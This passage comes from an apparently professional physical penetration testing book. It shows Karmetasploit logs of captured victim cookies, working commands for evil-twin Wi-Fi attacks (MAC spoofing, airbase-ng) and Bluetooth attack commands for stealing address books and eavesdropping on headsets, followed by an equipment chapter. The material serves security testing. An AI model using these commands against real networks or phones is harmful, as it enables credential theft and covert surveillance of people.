‘‘linksys’’\n15:17:01\nGot directed probe request from 00:16:CE:88:C4:25 – ‘‘Tramstraat\n60 beneden’’15:17:01\nGot broadcast probe request from 00:16:CE:88:C4:25\n15:17:02\nGot directed probe request from 00:1A:73:C7:36:9E – ‘‘AccessPoint1’’\n15:18:12\nGot directed probe request from 00:1A:73:C7:36:9E – ‘‘AccessPoint1’’\n15:18:14\nGot broadcast probe request from 00:16:6F:87:E6:A5\n15:18:15\nGot directed probe request from 00:16:6F:87:E6:A5 – ‘‘AccessPoint1’’\n15:18:15\nGot an auth request from 00:16:6F:87:E6:A5 (open system)\n15:18:15\nClient 00:16:6F:87:E6:A5 associated (WEP) to ESSID: ‘‘AccessPoint1’’\n15:18:16\nGot broadcast probe request from 00:1A:73:C7:36:9E\n15:18:16\nGot directed probe request from 00:1C:BF:59:49:94 – ‘‘linksys’’\n15:18:16\nGot broadcast probe request from 00:1C:BF:59:49:94\n15:18:17\nGot an auth request from 00:16:6F:87:E6:A5 (open system)\n15:18:17\nClient 00:16:6F:87:E6:A5 associated (WEP) to ESSID: ‘‘AccessPoint1’’\n15:18:19\nGot an auth request from 00:16:6F:87:E6:A5 (open system)\n[*] HTTP REQUEST 10.0.0.1 > www.google.com:80 GET / Linux FF 1.9.0.5 cookies=PR\nEF=ID=c41580a459c85619:TM=1234162741:LM=1234162741:S=1yWQkbJUc we0 ro\n[*] DNS 10.0.0.1:46212 XID 59392 (IN::A adwords.google.com)\n[*] DNS 10.0.0.1:57755 XID 35731 (IN::A blogger.com)\n[*] DNS 10.0.0.1:42844 XID 29634 (IN::A care.com)\n[*] DNS 10.0.0.1:51390 XID 50355 (IN::A careerbuilder.com)\n[*] DNS 10.0.0.1:39258 XID 33427 (IN::A ecademy.com)\n[*] DNS 10.0.0.1:58413 XID 31447 (IN::A facebook.com)\n[*] DNS 10.0.0.1:52828 XID 11392 (IN::A gather.com)\n[*] DNS 10.0.0.1:36132 XID 42404 (IN::A gmail.com)\n[*] DNS 10.0.0.1:57479 XID 33319 (IN::A gmail.google.com)\n[*] DNS 10.0.0.1:40895 XID 28282 (IN::A google.com)\n[*] DNS 10.0.0.1:59312 XID 49500 (IN::A linkedin.com)\n[*] DNS 10.0.0.1:35241 XID 60139 (IN::A livejournal.com)\n[*] DNS 10.0.0.1:55303 XID 49479 (IN::A monster.com)\n[*] DNS 10.0.0.1:36313 XID 21853 (IN::A myspace.com)\n[*] DNS 10.0.0.1:46219 XID 2020 (IN::A plaxo.com)\n[*] DNS 10.0.0.1:53877 XID 62567 (IN::A ryze.com)\n[*] DNS 10.0.0.1:46401 XID 23228 (IN::A slashdot.org)\n[*] DNS 10.0.0.1:59015 XID 4389 (IN::A twitter.com)\n[*] DNS 10.0.0.1:46799 XID 59329 (IN::A www.blogger.com)\n[*] DNS 10.0.0.1:53659 XID 39909 (IN::A www.care2.com)\n[*] DNS 10.0.0.1:37918 XID 32091 (IN::A www.careerbuilder.com)\n[*] DNS 10.0.0.1:48046 XID 19955 (IN::A www.ecademy.com)\n[*] DNS 10.0.0.1:44680 XID 16476 (IN::A www.facebook.com)\n[*] DNS 10.0.0.1:44973 XID 56155 (IN::A www.gather.com)\n[*] DNS 10.0.0.1:54851 XID 21341 (IN::A www.gmail.com)\n[*] DNS 10.0.0.1:54111 XID 48823 (IN::A www.linkedin.com)\n[*] DNS 10.0.0.1:45749 XID 20970 (IN::A www.livejournal.com)\n[*] DNS 10.0.0.1:53827 XID 36702 (IN::A www.monster.com)\n" }, { "page_number": 171, "text": "ATTACKING A WIRELESS CLIENT\n149\n[*] HTTP REQUEST 10.0.0.1 > www.google.com:80 GET /forms.html Linux FF 1.9.0.5\ncookies=PREF=ID=c41580a459c85619:TM=1234162741:LM=1234162741:S=1yWQkbJUc we0 ro\n[*] DNS 10.0.0.1:38020 XID 9358 (IN::A www.yahoo.com)\n[*] HTTP REQUEST 10.0.0.1 > adwords.google.com:80 GET /forms.html Linux FF 1.9.\n0.5 cookies=PREF=ID=c41580a459c85619:TM=1234162741:LM=1234162741:S=1yWQkbJUc we0\nro\n[*] DNS 10.0.0.1:45277 XID 44106 (IN::A www.slashdot.org)\n[*] HTTP REQUEST 10.0.0.1 > blogger.com:80 GET /forms.html Linux FF 1.9.0.5 coo\nkies=[*] DNS 10.0.0.1:36288 XID 34500 (IN::A www.plaxo.com)\n[*] HTTP REQUEST 10.0.0.1 > care.com:80 GET /forms.html Linux FF 1.9.0.5 cookie\nAll of this information is stored in a SQLite database, which you can query\nusing a number of commands from the Metasploit console or from your\nfavorite database program. This entire process has been pretty well auto-\nmated by Carlos Perez in his tool Karmetasploit AP Launcher (kmsap.sh),\nwhich can be downloaded from http://www.darkoperator.com/tools-and-\nscripts/.\nThis attack is entirely passive and therefore requires the target to volun-\ntarily connect to your access point.\nLaunching an Active or Directed Attack\nA passive attack is not always viable so a modified and slightly more\naggressive variant is needed. This attack is identical to the previous one,\nwith one variation. When starting Airbase, you make it appear to be a\nlegitimate access point on the target network.\nFor example, say you determine, using Airodump that the target access\npoint is called LithexCorp and has a BSSID of 00:14:6C:7C:40:80 and\nlistens on channel 9. You proceed as follows:\n1.\nChange your own MAC address to match this:\n# macchanger mac=00:14:6C:7C:40:80 wlan1\n2.\nStart Airbase with the following options:\n# airbase-ng -e ‘‘LithexCorp’’ -c 9 -a 00:14:6C:7C:40:80 -v wlan1\nYou can use other options within Airbase to make this a little more con-\nvincing. For example, you can set encryption flags (even if no encryption\nis used, the access point would still show up as using WEP or WPA to the\nclient laptop).\nAside from these changes, the attack is identical to the passive example.\nHowever your intent is to cause the client to associate with you instead\nof the genuine access point, allowing you to steal credentials as before.\nIntrusion detection systems capable of detecting an attack like this exist\nbut they are expensive, unreliable, and rarely used.\n" }, { "page_number": 172, "text": "150\nHACKING WIRELESS EQUIPMENT\nMounting an Indiscriminate Attack\nAn interesting extension of the previous attack is Airbase’s ability to\nmasquerade not only as a corporate access point but as any access point\nfor which it detects probes. This attack is useful in two scenarios:\n•\nA target is working on their laptop but is not actively connected to any\nnetwork. The laptop continues to probe for access points it knows.\nAirbase sees this and responds as though it is one of these access\npoints. The laptop then associates with your signal.\n•\nA target is physically plugged into a corporate LAN but has wireless\nenabled on their laptop. This is usually the case when the target takes\ntheir laptop to work from home and uses their wireless connection. If\ntheir laptop then associates with you, it simultaneously exists on the\ncorporate LAN and your virtual wireless network. Successfully attack-\ning the client at this stage permits you access to the corporate network.\nAirbase can be configured to respond to any probes it receives as follows:\n# airbase-ng -P -C 30 -v wlan1\nThe rest of the configuration is the same as in the previous examples. That\nis, the faking of MAC addresses and the use of Metasploit is identical.\nMounting a Bluetooth Attack\nHacking Bluetooth devices is secondary in the overall scheme of wireless\ndevices so I’m not going to spend too long talking about it; however I will\nintroduce you to a couple of tools and attacks that, if nothing else, will\ngive you some fun.\nSee Chapter 8 for some discussion of Bluetooth kit. Attacks against Blue-\ntooth devices (predominantly mobile phones) fall into three categories:\n•\nBlueJacking – This means using a phone to send anonymous messages\nto people using the Bluetooth protocol. This can be very entertaining\nand has its uses in a social engineering context.\n•\nBlueSnarfing – This means taking details from mobile phones without\nthe permission of the owner. This can include calendar entries, address\nbook entries, and short message service (SMS) messages. In general,\nonly older phones are vulnerable to BlueSnarfing.\n•\nEavesdropping Attacks – A lot of people use Bluetooth headsets.\nIt is sometimes possible to capture and record this voice traffic.\nOccasionally, it is possible to inject voice into the stream. A tool\n" }, { "page_number": 173, "text": "MOUNTING A BLUETOOTH ATTACK\n151\nreleased a few years ago allowed you to do exactly this to car radios.\n(This tool is called Car Whisperer and is on the BackTrack CD-ROM.)\nBlueJacking\nA few years ago at the Infosec conference in London, a friend of mine,\nfurious at his recent redundancy, decided to get even with the company\nin question, which had exhibitors in attendance. (We’ll call it Company X\nfor the purposes of this discussion.) He wrote a small program that tracked\nBluetooth phones that came into range of his laptop and sent them a\nmessage via the vCard business card protocol. It read something like this:\nHi!!!!1 Welcom to infosec!!!! Why not stop by our stand and talk secu-\nrity? We at no. 212 – Company X\nThere was a catch though: The message wasn’t just sent once, it was\nsent as many times per second as the target phone could handle. This\nwas intentional (as was the poor spelling and grammar). The upshot was\nthat a number of people did turn up at the Company X stand, but only\nto complain that they were being bombarded with advertisements. The\npoor sales representatives didn’t have a clue what was going on. Because\nyou can make a message appear to be from anyone, BlueJacking can be\nuseful to a creative social engineer. There are a few ways to carry out this\nform of attack. These are the easiest:\n•\nUsing Phone-specific Features – Create a contact in your address\nbook. For the name, input the message you wish to send. To send\nthe message, switch Bluetooth on, search for target devices and select\n‘Send Business Card’ (in some models, ‘Send Contact’). Select the\nentry you just created from the address book and you’re done.\n•\nUsing an Automated Tool – The most popular tools are the Java\napplications FreeJack and EasyJack. Both work fine and a quick\nGoogle search will get you both of them.\nBlueSnarfing\nFrom the perspective of a physical penetration tester, being able to steal\nthe phone book from any phone around you is obviously very useful.\nIn the real world, however, most phones are now patched against this\nattack, although you may get lucky. First, you need to locate all Bluetooth\ndevices in the area. I show you how to do this using a tool called\nBlueScanner from Aruba networks. There are plenty of tools that run\n" }, { "page_number": 174, "text": "152\nHACKING WIRELESS EQUIPMENT\nFigure 7.5\nAruba’s BlueScanner can find Bluetooth devices within range.\nunder Linux (and come with BackTrack), but I particularly like this tool’s\ninterface and presentation of information though it runs under Windows\n(see Figure 7.5).\nAs you can see, the software divides the devices up nicely so you can see\nexactly what you’re dealing with. In this example, we target the Nokia\n6300. Note its address of 00:24:04:15:AA:08. To extract this device’s\naddress book, you run the following command in BackTrack:\nbluesnarfer -r 1-100 -b 00:24:04:15:AA:08\nThe attack is successful and you now have the target’s address book:\ndevice name: Nokia 6300\ncustom phonebook selected\n+ 1 – bob\n: 0416783452\n+ 4 – john\n: 0794487651\n+ 7 – dave\n: 0792938450\n+ 10 – test2\n: 0794009812\n+ 13 – house\n: 0793545345\n+ 16 – test3\n: 0794073352\n+ 19 – btsucks : 0796009272\nEavesdropping\nThe Car Whisperer tool is used to eavesdrop on wireless voice communi-\ncations that take place over the Bluetooth protocol. First of all you have\nto configure your Bluetooth device to think it’s a mobile phone:\nhciconfig hci0 class 0x50204\n" }, { "page_number": 175, "text": "SUMMARY\n153\nThis assumes your Bluetooth device is called hci0, which it most likely\nis. If it’s not then use the iwconfig command to list all HCI interfaces.\nYou need to guess the pairing pin (usually 0000 or 1234) in order to\neavesdrop on the stream. You can find out by trial and error. So:\necho 0000 > /etc/bluetooth/pin\nOpen the file /etc/bluetooth/serial.server and change the\nvalue of Autostart to true. Then execute:\n/etc/init.d/bluetooth restart\nYou need to use a tool such as BlueScanner to find the MAC address\nof the target. Assuming that 00:12:34:56:78:90 is the target Bluetooth\nheadset (and that the PIN is correct), run the following command to dump\nthe audio stream to input.raw:\ncarwhisperer 0 /dev/null input.raw 00:12:34:56:78:90 1\nHere we use /dev/null, but you could also specify an audio file on\nyour system, which would be sent to the target’s headset. To listen to the\naudio you have captured, use the following command:\nsox -t raw -r 8000 -c 1 -s -w input.raw -t ossdsp /dev/dsp\nHave a lot of fun with this. If now you’re thinking ‘Hmmm. I’d like to write\na script to automate the detection and recording of Bluetooth headsets’\nthen I like your style, but is has already been done. Check out BlueDiving\nat http://sourceforge.net/projects/bluediving (which automates quite a bit,\nactually).\nSummary\nThis chapter has been a departure from the rest of this book as it has been\npurely technical. While I’ve attempted to create a cookbook approach (in\nwhich you just follow the instructions) to defeating wireless security, you\nmay only grasp the contents once you’ve actually sat down and attempted\none or more of the attacks. You should do this with your own equipment\nand be comfortable with the results before even thinking about carrying\nout a wireless attack on a client site. In this chapter, we’ve looked at:\n•\nWireless Hacking Equipment – These are my personal preferences\nand we add to them in Chapter 8. You’ve been introduced to Back-\nTrack which is an excellent environment for learning about defeating\nwireless security and it does a lot of other things besides.\n•\nWireless Security Standards and Protocols – It makes sense to have a\ngood practical knowledge of the basics of wireless networking before\nembarking on wireless hacking.\n" }, { "page_number": 176, "text": "154\nHACKING WIRELESS EQUIPMENT\n•\nWireless Encryption – Encryption and authentication in wireless\naccess points are often the same thing. The two most common shared\nkey systems are WEP and WPA, both of which can be broken. Other\nsystems exist which require a different approach.\n•\nWireless Network Attacks – This topic covered both discovering wire-\nless access points and defeating common security measures such as\nencryption and MAC filtering.\n•\nWireless Client Attacks – This is a relatively new breed of attack that,\nwhen correctly deployed, can be used to great effect against even the\nmost secure wireless environments.\n•\nBluetooth – No chapter on wireless security would be complete with-\nout a discussion on Bluetooth. These attacks can be very useful in a\nphysical penetration test and are often overlooked.\nWireless hacking and physical penetration testing – whilst utilizing very\ndifferent skill sets – go hand in hand. Practice and master the techniques\noutlined in this chapter even if, initially, they seem foreign to you.\n" }, { "page_number": 177, "text": "8\nGathering the Right Equipment\n‘‘It matters little how much equipment we use; it matters much that we be\nmasters of all we do use.’’\n– Sam Abell\nSome of the equipment you need to engage in penetration testing is\nobvious, some of it isn’t. Some is necessary and some of it is just nice\nto have. This chapter is about the kit we use and why we have it. You’ll\nlikely start with a small core bag of gear that you’ll expand over time\nas requirements dictate the addition of new equipment. In any event,\nelectronics go out of date fast so there’s no point in spending money\non something that’s going to become obsolete and sit in your cupboard.\nThis chapter is by no means comprehensive; plenty of other equipment\nis useful, some of which is discussed throughout the book. It’s important\nto note that we’re covering the basics; the major categories and these\ndecisions are often colored by my own preferences.\nThe ‘‘Get of Jail Free’’ Card\nIf you’re only going to take one item with you let it be this. What we call\nThe ‘‘Get of Jail Free’’ Card is a letter or form signed by the client formally\nand categorically acknowledging and authorizing you to perform the test.\nIt should be signed by at least one (and preferably two) senior company\nofficers, and if the rules of engagement permit it, by the CIO or most\nsenior security staff member as well. Their contact details must be present\nand they must be reachable during the test! In addition, information about\nthe testing team such as names, the testing company, and the stated goals\nare also recommended. A sample form is supplied later in this chapter.\nOne more point, don’t carry just one. You might lose it or it might get\nconfiscated. Admit to having one copy and show duplicates only to law\n" }, { "page_number": 178, "text": "156\nGATHERING THE RIGHT EQUIPMENT\nenforcement if you’re unfortunate enough to be in the position of having\nto do so. Every team member should have at least two copies and they\nshould be originals, not photocopies. Before embarking on the test and\npreferably at the culmination of scoping requirements, present the forms\nto the client and ensure they are signed in situ and never, ever p.p.ed (per\nprocurationem) on the behalf of someone else. The last thing you want is\nto find yourself working for a company officer who has overstepped his\nauthority and is denying he’s ever met you. Consider this case study to\nillustrate the points I’ve made.\nWhen Physical Tests Go Bad\nKris found the initial stages of penetrating Lithex Pharamacuticals in\nChicago to be a snap. He waited outside the smokers door in his crisp\npin stripe suit, Marlboro in hand, waiting for a couple of likely targets\nto emerge. After listening to their banter for a couple of minutes, he\nfollowed them back inside and within moments he crossed the marble\nlobby and was riding the elevators up to 8th floor and the meeting\nrooms. What he didn’t know is that security had tracked him from\nthe moment he set foot in the car park and were now looking for\nhim.\nThe moment he placed his hand on the doorknob to a vacant area,\ncame the words everyone in his line of work prays they’ll never hear\n‘‘Freeze! Armed Security!’’ He slowly turned around and the extremely\nnervous expression on the guard’s face was more disconcerting than\nthe Glock 19 pointed at him in a shaking hand.\nShortly afterwards, Kris was handcuffed to a bench in the security\noffice. He calmly tried to explain who he was, why he was there and\npoint out the sealed signed letter that proved it. The guard took the\nletter out of his pocket and read it, then with a sneer, tore it up and\nthrew it in the waste basket. This was Kris’s only copy. Half an hour\nlater, the police arrived and arrested Kris. After an unpleasant evening\nin the county jail, his innocence was proven, but unfortunately for Kris\neven though he’s wasn’t charged, he was arrested for a felony. This is\nsomething that will be on his record every time he applies for security\nclearances in the future.\nThe lesson here, I hope, is simple. While the security guard shouldn’t\nhave destroyed his letter, he did. Always have more copies! And never\nargue with people pointing guns at you. I can’t stress that enough.\nHere is a sample security authorization form. Feel free to adapt it to your\nneeds.\n" }, { "page_number": 179, "text": "PHOTOGRAPHY AND SURVEILLANCE EQUIPMENT\n157\nSecurity Audit Authorization\nName of Tester:\nSignature:\nTesting Company:\nDate of Security Audit:\nStated of aims of security audit:\nThe bearer of this document is performing a security audit of these\npremises with the full knowledge, support and authorization of senior\nmanagement. The credentials of the bearer may be confirmed by\ncontacting the following members of the management team:\nName:\nPosition:\nSignature:\nContact Phone:\nName:\nPosition:\nSignature:\nContact Phone:\nName:\nPosition:\nSignature:\nContact Phone:\nThe bearer is to be treated professionally and courteously. The conse-\nquences of mistreatment, abuse or aggressive behavior will be severe.\nPhotography and Surveillance Equipment\nIn this section we discuss photographic equipment.\nCameras\nA camera is useful at all stages of testing. You’ll want to take pictures of\nthe facility you’ll be penetrating as well as provide photographic evidence\nof penetration in your final report. A mobile phone camera really isn’t\ngoing to get it done. That said you don’t need to spend a vast amount\nof money, unless you want a Single Lens Reflex(SLR) with a long lens\nbut that’s not really the height of discretion. I personally prefer as much\npower as I can get in a discrete body – a compact fast digital camera\nwith a good lens and plenty of memory. At all stages of testing I tend\nto use cameras in Canon’s excellent Powershot G range, particularly the\nG9 & G10, shown in Figure 8.1. These cameras give virtually SLR quality\nresults and are very discrete. These are the cameras I use when discussing\ndiscrete photography earlier in the Chapter 6.\n" }, { "page_number": 180, "text": "158\nGATHERING THE RIGHT EQUIPMENT\nFigure 8.1\nThe Cannon Powershot G 10 provides excellent results.\nBinoculars\nI have no particular preference for binoculars other than that they’ve\ngot to have good magnification and must fit in my pocket, the latter\nbeing critical. You really don’t want to be reaching into your backpack\nconstantly or be tempted to leave them in your car. A pair of small, rubber\narmored military spec lenses as shown in Figure 8.2 will serve you well,\nbut as I say I have no particular preference. Binoculars are useful when\nperforming stand-off surveillance of personnel and can be useful in long\nrange ‘shoulder surfing’ attacks (see Chapter 6).\nFigure 8.2\nCompact Binoculars.\n" }, { "page_number": 181, "text": "COMPUTER EQUIPMENT\n159\nComputer Equipment\nFor assignments that feature computer penetration, a laptop is critical.\nEven for assignments that don’t, it’s still desirable. If you’re masquerading\nas an employee, a laptop bag lends credibility. Consider obtaining (and\nif you desire, modifying) target business cards and inserting them into the\nplastic card folder on the bag. Little touches go a long way. Again, I have\nno particular preferences here; any modern laptop will suffice, but look\nfor the following:\n•\nAt least one gig of RAM: This will allow you run multiple Operating\nSystems simultaneously. RAM is dirt cheap these days.\n•\nPCMCIA slots: Some new laptops eschew this in favour of going\ncompletely USB. There are some excellent USB wireless adapters that\nsupport USB and they will become increasingly prevalent (see Chapter\n7), however I recommend choosing a laptop that has a PCMCIA slot\nas it increases the range of cards available to you.\n•\nWireless connectivity: Useful to have built in, however not massively\nuseful for wireless testing as you’ll want external cards that you can\nplug antennas into. More on that later.\n•\nHard network connectivity: This is an absolute necessity for any\nphysical penetration test that includes an element of computer attack.\nMost laptops will have a network port built in, but some don’t being\npurely wireless devices.\n•\nUSB 2.0: For speed of data transfer, this is a major consideration if\nyou need to perform forensics capture.\nI strongly advise PC laptops as opposed to Macs. I don’t have anything\nagainst Apple and OSX is very pretty, but you’re going to be working\nin Windows and Linux most often. Certain software and techniques\nare just not an option to you on Apple boxes.\n•\nEncryption capabilities: Your laptop must have full disk encryption\ninstalled. This is usually a contractual requirement these days. If\nyour laptop gets stolen you really don’t want to look like the British\ngovernment trying to explain all that lost data. I use PGP Whole Disk\nEncryption, which asks for a pass phrase at boot time and without\nit the hard drive remains secure. If someone takes the drive out and\nplugs it into another computer they still won’t be able to read it.\n•\nVirtualization software: As noted above, having a lot of RAM allows\nyou run more than one Operating System simultaneously. Software\n" }, { "page_number": 182, "text": "160\nGATHERING THE RIGHT EQUIPMENT\nsuch as the excellent VMWare or Virtual Box will allow you to do\nthis. When performing computer based penetration tests on site you\nmay have the need to run Linux and Windows simultaneously on one\nlaptop.\n•\nExtra batteries: Always good to make sure they’re charged. Dell\nLatitude batteries can hold about 6 hours of charge with the batteries\nthey come with. Thinkpads support long life batteries that can be\nacquired separately.\nFigure 8.3 shows the Thinkpad T60 & Dell Latitude.\nFigure 8.3\nThe Thinkpad T60 & Dell Latitude are excellent choices.\nWireless Equipment\nI have dedicated a whole chapter to wireless network hacking. Here I’m\njust going to make recommendations about equipment.\nThe Basics of 802.11× Wireless Networking\nThere are three standards in 802.11× wireless networking cards: a,b,g.\nThe a standard is virtually dead. It’s hardly used anywhere except in\npeople’s homes. The b standard is slow and out of date so g is what you\nwill most likely end up testing. Despite this, it’s important to have cards\nrepresenting all three standards in your kit. Most of the wireless work\nyou’ll be doing will be in Linux, consequently it’s important to have cards\nthat will work with this O/S. Linux is unlike Windows in that drivers are not\n" }, { "page_number": 183, "text": "WIRELESS EQUIPMENT\n161\nvendor- but chipset-specfic. This can be confusing because many cards\nhave the same chipset but are rebadged by different vendors. Conversely,\ncards that may be of similar specification released by the same vendor\nmay have completely different chipsets. When choosing cards two things\nare important: that the chipset is compatible and that it supports packet\ninjection. Packet injection (and why this is important) is discussed in\nChapter 5 – it’s an important feature in wireless hacking but from a simple\nhardware perspective, we’ve done the hard work for you. Everything listed\nhere is suitable for wireless hacking. Check the specs when ordering\nthat the product code is correct as chipsets vary greatly even within\nmanufacturers and they tend give their products the same basic name:\nTables 8.1 and 8.2 list packet injection capable wireless cards and\nadapters known to work with the BackTrack Linux Distribution (See\nChapter 7).\nTable 8.1\nWireless cards\nVendor\nName\nChipset\n3Com\n3CRPAG175B\nAtheros AR5212\nAirlink101\nAWLC4130\nAtheros\nAgere\nORiNOCO GOLD\nAtheros\nAlfa\nAWUS036H\nRealtek 8187L\nBelkin\nF5D6020v3\nrtl8180\nBelkin\nF5D7011\nBroadcom 4306\nBuffalo\nWLI-CB-G54HP\nBroadcom BCM4318\nDlink\nDWL-G650\nAtheros AR5212 a/b/g\nLinksys\nWPC11v4\nrtl8180\nMotorola\nWN825Gv2\nBroadcom 4306\nNetGear\nWG511T\nAtheros\nSWEEX\nLW051ver:1.0\nAtheros\nTable 8.2\nUSB wireless adapters\nVendor\nName\nChipset\nAirlink101\nAWLL3026\nzydas\nEdimax\nEW-7317UG\nzd1211rw\nLinksys\nWUSB54gv4\nRalink 2570\nAlfa\nAWUS036H\nRealtek RTL8187L\n" }, { "page_number": 184, "text": "162\nGATHERING THE RIGHT EQUIPMENT\nI’ve only included devices that I know work perfectly out of the box.\nMany others will also work.\nOne of the reasons I prefer to use PCMCIA, (pictured in Figure 8.4)\nrather than USB is that a lot of PCMCIA cards come with jacks to attach\nexternal antennas which will greatly increase your range. Antennas come\nin two flavors: Omni-directional, as shown in Figure 8.5, which increases\nthe inbound signal gain in all directions and directional, as shown in\nFigure 8.6, which increase both inbound and outbound signal gain in line\nof sight. Omni antennas can be used to increase your ability to find access\npoints. Directional or Yagi antennas are great for pinpointing where in a\nbuilding the access point lives and increasing your ability to talk to it from\na distance. Some antennas can be directly connected to your card; some\nwill require an adapter cable (called a pigtail cable). Refer to Chapter 7\nfor the full scoop on wireless hacking.\nFigure 8.4\nWireless adapters.\n" }, { "page_number": 185, "text": "WIRELESS EQUIPMENT\n163\nFigure 8.5\nOmni antenna with 5bd gain.\nFigure 8.6\nYagi antenna with pigtail connectors.\nBluetooth\nBluetooth is secondary to 802.11×. As a wireless networking standard\nit is comparatively rare and used mainly as a short-range protocol for\ndevice interaction. However, strictly from a hardware perspective, the\nconsiderations involved are for the most part the same as those for wireless\ntechnologies already discussed. Most Bluetooth hacking software is Linux\nbased and therefore you are going to want to use a Bluetooth dongle\n" }, { "page_number": 186, "text": "164\nGATHERING THE RIGHT EQUIPMENT\nthat works out of the box with Linux operating systems. Bluetooth is\na predominantly short range protocol so antennas are generally not\na consideration. The cool thing about Bluetooth is that it shares the\n2.4 GHz radio spectrum with 802.11×, which means it’s possible (with a\nlittle soldering) to use antennas discussed previously with the Bluetooth\nkit. I cover Bluetooth hacking in Chapter 7 so it’s worth getting some\ngear. The dongles in Table 8.3 work out of the box with Linux:\nTable 8.3\nBluetooth adapters\nVendor\nName\nBroadcom\nGBU421\nFormosa Teletek\nAny\nCNet\nCBD-120 Class 1\nCNet\nCBD-220 Class 2\nBroadcom\nGeBL2179\nFigure 8.7\nBluetooth adapter with hacked connecter and antenna.\n" }, { "page_number": 187, "text": "GLOBAL POSITIONING SYSTEMS\n165\nMost internal laptop Bluetooth devices work fine with Linux and packet\ninjection is not a concern as it is with 802.11x. Again, the devices listed\nin Table 8.3 are merely ones I’ve personally tested; there are many other\nthat will do the job. Figure 8.7 shows a Bluetooth adapter with antenna.\nGlobal Positioning Systems\nA good Global Positioning System (GPS) receiver is an important piece of\nkit. It allows you to do the following:\n•\nMark points of interest on a map or satellite photo prior to the test and\nnavigate to them with ease.\n•\nMark points of interest in situ, for example to indicate to a client an\nimportant location (such as where you may have left something).\n•\nNote the locations of cameras, guard offices so your team can avoid\nthem.\n•\nMark the presence of wireless networks.\n•\nLet your support staff know exactly where you are.\nThere are a number of GPS receivers on the market and you can spend a\nlittle or as much as you want. Personally, I want the following in a device:\n•\nIntegrated mapping, is available in most modern handsets, gives you\nthe capability to show your current location on a digital map. This is\nuseful as you don’t need to refer to other media.\n•\nNational Marine Electronics Association (NMEA) compatibility for\nstreaming coordinates to a pc (useful for marking down locations of\nwireless access points in real time).\n•\nThe ability to import and export routes and waypoints. Waypoints\nallow you to plot a predefined set of coordinates prior to the test and\nfollow them. Exporting will allow you to plot the route you took for\nlater inclusion in reporting.\n•\nGoogle Earth compatibility is useful when writing a report. I like to\nplot my route with satellite photographs.\nMy favorite device and one that satisfies all of these requirements is the\nMagellan eXplorist XL. It is extremely rugged, fast and reliable and in\nmy opinion should be standard issue to consultants everywhere. (See\nFigure 8.8.)\nAnother piece of kit I find indispensable, particularly when a handheld\nGPS might be too conspicuous, is the Suunto X9i wrist mounted GPS com-\nputer. This device exchanges routes and waypoints with a PC and while\n" }, { "page_number": 188, "text": "166\nGATHERING THE RIGHT EQUIPMENT\nFigure 8.8\nThe Magellan eXplorist XL.\nFigure 8.9\nThe Suunto X9i is discrete and handy.\n" }, { "page_number": 189, "text": "LOCK PICKING TOOLS\n167\nFigure 8.10\nNokia E71 running Google Maps.\nit (obviously) doesn’t contain onboard mapping, it navigates flawlessly\nand comes with a utility to talk to Google Earth. (See Figure 8.9.)\nGPS is becoming standard on high end smart phone. This, for penetration\ntesting purposes, is an ideal solution. An expensive business smart phone\nbrings its own credibility and you’re unlikely to stand out in any corporate\nenvironment if you are wandering around playing with one. Currently,\nI’m using the Nokia E71, shown in Figure 8.10, which aside from being\nan excellent phone has very reliable integrated GPS though will likely be\nobsolete by the time we go to print. So these things go.\nLock Picking Tools\nI am not going to cover every kind of lock picking tool under the sun; I\nsimply don’t have the space. Instead I cover the tools needed the defeat\nthe locks discussed in Chapter 5. These are mainly those of a pin tumbler\ndesign but I also cover tubular and warded lock as well as padlocks.\n" }, { "page_number": 190, "text": "168\nGATHERING THE RIGHT EQUIPMENT\nTraditional Lock Pick sets – those used to lift pins in tumbler locks – are\navailable in sets ranging from three or four picks to dozens. You’ll\ngenerally use only one or two picks: a rake and a torsion wrench so there’s\nno point in spending a lot of money for an over the top kit. Personally, I\nthink a 14 pick set that includes all you need for about $15-20 is a good\nchoice. When choosing lock pick sets, it’s important to look for strict\nmanufacturing tolerances and quality materials. There’s nothing more\ntedious (and embarrassing) than breaking a pick in a client’s lock. Look\nfor picks made of spring steel, this is both durable and flexible. One point\nto bear in mind is that European and Japanese locks are often narrower\nthan their American counterparts. I have no idea why this is; however,\nthere are lock pick sets available that take this into account and also work\nfine with American locks. Figure 8.11 shows a standard lock pick set.\nFigure 8.11\nA pick set for opening pin tumbler locks.\nThere are tools for opening all manner of locks that include:\n•\nTubular Locks: A more resistant version of the pin tumbler. These are\nmost commonly seen on vending machines. They are of interest here\nbecause they are also used to secure laptops.\n•\nPadlocks: Found everywhere. Padlocks can usually be opened easily\nwith the right tools. It’s often not even necessary to attack the locking\nmechanism as padlocks have unique vulnerabilities of their own.\n•\nWarded Locks: Warded locks are among the oldest designs still in\ncommon use. With the right tools – often of very simple design – these\nlocks can be easily opened. Warded locks are still in common use in\nthe UK in both homes and businesses.\nFor a complete description of these locks and the tools used to defeat\nthem please refer to Chapter 5.\nThere are various devices on the market designed to reduce the difficulty\nand increase the speed of lock bypassing. The most common and relevant\nare listed here:\n" }, { "page_number": 191, "text": "FORENSICS EQUIPMENT\n169\n•\nSnap Lock Pick Gun – According to lock picking mythology the Snap\nGun was developed decades ago to allow police officers who were not\nskilled in the art of lock picking to open locks with minimal instruction.\nRather than opening locks by the traditional raking techniques the\nSnap Gun uses transfer of energy. It’s a useful gadget once you get\nthe knack and it’s covered in Chapter 5. The basic model ‘snaps\nup’ as most pins are found in the top of the lock in North America.\nIn Europe and elsewhere, this is often the reverse. (Again I have no\nidea why.) Thus, there is a model of this device made exclusively for\nEuropean locks, presumably for people not bright enough to turn the\nthing upside down. It’s important to note that the lock pick gun is not\na panacea and still requires some skill (and a torsion wrench) to use.\nFigure 8.12\nSnap Gun.\n•\nElectric Lock Pick – The electric or vibrating pick allows you to\nduplicate exact raking motion at many times per second. The gun\nrakes open pin and disc tumbler cylinders using a rapid up and down\nstriking movement, which causes the top and bottom pins to separate,\nmeeting the shear line. These picks are expensive and personally I’ve\nnever had much luck with them, even though everyone else tells me\nhow easy they are to use. Read into that what you will.\nForensics Equipment\nThere are two stages in the forensic process, data acquisition and\ndata analysis. For data acquisition in the lab, you need the following\n" }, { "page_number": 192, "text": "170\nGATHERING THE RIGHT EQUIPMENT\nequipment: a dedicated PC with Integrated Drive Electronics (IDE) &\nSmall Computer Systems Interface (SCSI) ports that you can plug hard\ndrives into. If media is on cdrom, dvd, floppy or usb, then obviously you\nwill need to be able to read these too. However, in the field with only\nshort-term access to media you have to rely on a laptop or a dedicated\nforensic acquisition device such as a Talon, which is less than ideal. The\nlatter scenario is, from our perspective, unlikely.\nData analysis is something you will always carry out back at base – the\nscenario being that you’ve acquired media from a trashing exercise and\nwish to study it for information that will be usable. (See Chapter 